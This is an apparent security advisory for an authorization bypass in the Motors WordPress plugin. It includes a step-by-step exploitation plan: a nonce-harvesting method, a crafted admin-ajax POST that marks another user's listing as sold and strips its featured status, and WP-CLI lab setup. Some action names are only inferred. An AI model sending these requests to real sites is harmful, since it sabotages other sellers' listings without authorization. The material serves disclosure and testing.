Motors <= 1.4.111 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via 'stm_mark_as_sold_car' Parameter
Description
The Motors – Car Dealership & Classified Listings Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.4.111. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to mark or unmark any other user's car listing as sold by replaying a valid nonce harvested from their own listing against an arbitrary victim post ID, triggering a site-wide 'Sold' badge on the victim's listing and silently stripping its special_car featured post meta as a side effect. Exploitation requires the attacker to hold an active listing of their own (obtainable by a Subscriber via the plugin's add-listing form) in order to harvest a valid nonce for the 'stm_mark_as_sold_car' action, which can then be replayed against any other listing's post ID.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.4.111What Changed in the Fix
Changes introduced in v1.4.112
Source Code
WordPress.org SVNThis research plan outlines the technical steps to exploit **CVE-2026-12435**, a Missing Authorization vulnerability in the **Motors** plugin. This flaw allows a Subscriber-level user to mark any car listing as "Sold" and remove its featured status by replaying a valid nonce against an unauthorized …
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-12435, a Missing Authorization vulnerability in the Motors plugin. This flaw allows a Subscriber-level user to mark any car listing as "Sold" and remove its featured status by replaying a valid nonce against an unauthorized post ID.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (IDOR/Bypass).
- Location: Likely in
includes/actions.php(referenced instm_vehicles_listing.php) within an AJAX handler. - Root Cause: The AJAX handler for marking a car as sold verifies the WordPress nonce (ensuring the request is not CSRF) but fails to check if the current user has ownership or permission to modify the specific
post_idprovided in the request. - Impact: Attackers can sabotage competitors' listings by marking them as sold (removing them from active search/inventory) and stripping "Featured" (
special_car) status.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
stm_ajax_add_mark_as_sold_car(inferred from parameter name and plugin naming conventions). - Parameters:
action:stm_ajax_add_mark_as_sold_carcar_id: The ID of the victim's car listing.nonce: A valid nonce for thestm_ajax_add_mark_as_sold_caraction.
- Authentication: Required (Subscriber or higher). The attacker must be able to create their own listing to generate the required nonce.
3. Code Flow (Inferred)
- Frontend Entry: A logged-in user views their own "My Listings" page.
- Nonce Generation: The plugin calls
wp_create_nonce('stm_ajax_add_mark_as_sold_car')and localizes it into a JavaScript object. - AJAX Call: When the user clicks "Mark as Sold," a request is sent to
admin-ajax.phpwith thecar_idand thenonce. - Vulnerable Sink: The handler (likely
stm_ajax_add_mark_as_sold_carinincludes/actions.php):- Calls
check_ajax_referer('stm_ajax_add_mark_as_sold_car', 'nonce')(Passes because the nonce is valid for the user session). - Fails to call
current_user_can('edit_post', $car_id)or verify$post->post_author. - Updates post meta:
update_post_meta($car_id, 'car_mark_as_sold', 'on'). - Deletes post meta:
delete_post_meta($car_id, 'special_car').
- Calls
4. Nonce Acquisition Strategy
Nonces for this action are typically exposed in the User Dashboard where listings are managed.
- Identify the Script Variable: The plugin enqueues a script (likely
stm_user_dashboard) and localizes data. - Setup for Nonce:
- A Subscriber must have at least one listing.
- Create a page with the listing management shortcode (if not already present):
wp post create --post_type=page --post_status=publish --post_content='[stm_add_car]'(or the relevant dashboard shortcode).
- Extraction via Browser:
- Log in as a Subscriber.
- Navigate to the page containing the "My Listings" dashboard.
- Use
browser_evalto find the nonce:// Common Motors JS objects: stm_listings_data, stm_user_vars window.stm_listings_data?.mark_as_sold_nonce || window.stm_user_vars?.nonce - Note: Search the page source for
wp_create_noncecalls if the specific variable name differs.
5. Exploitation Strategy
Step 1: Discover Victim Post ID
Use wp post list --post_type=listings to identify a target listing ID (e.g., VictimID = 123) that is not owned by the Subscriber.
Step 2: Trigger Modification
Using the http_request tool, send the following authenticated POST request:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=stm_ajax_add_mark_as_sold_car&car_id=123&nonce=<HARVESTED_NONCE>
6. Test Data Setup
- Target User: Create an Admin user who owns a "Featured" listing.
wp post create --post_type=listings --post_title="Victim Car" --post_status=publish --post_author=1wp post meta add <VictimID> special_car on
- Attacker User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Attacker Listing: The attacker must own a listing to see the "Mark as Sold" UI and get a nonce.
wp post create --post_type=listings --post_title="Attacker Car" --post_status=publish --post_author=<AttackerUID>
7. Expected Results
- HTTP Response: A JSON success message, e.g.,
{"success": true}or1. - Victim Post State:
- Meta key
car_mark_as_soldis set toon. - Meta key
special_caris removed. - The car appears with a "Sold" badge on the frontend.
- Meta key
8. Verification Steps
After sending the HTTP request, verify the database state using WP-CLI:
# Check if the listing is marked as sold
wp post meta get <VictimID> car_mark_as_sold
# Check if the special_car (featured) meta was removed
wp post meta get <VictimID> special_car
# Expected: Error or empty result
9. Alternative Approaches
If stm_ajax_add_mark_as_sold_car is not the correct action name:
- Grepping for Sinks: Run
grep -rn "update_post_meta.*car_mark_as_sold" includes/to find the exact function handling the update. - JS Inspection: In the browser, inspect the "Mark as Sold" button in the dashboard to see which AJAX action is bound to its
clickevent in thepage_generator.jsor similar assets. - Unmark as Sold: The description implies a toggle ("mark or unmark"). Try
stm_ajax_remove_mark_as_sold_carto restore a listing, demonstrating the same authorization bypass.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.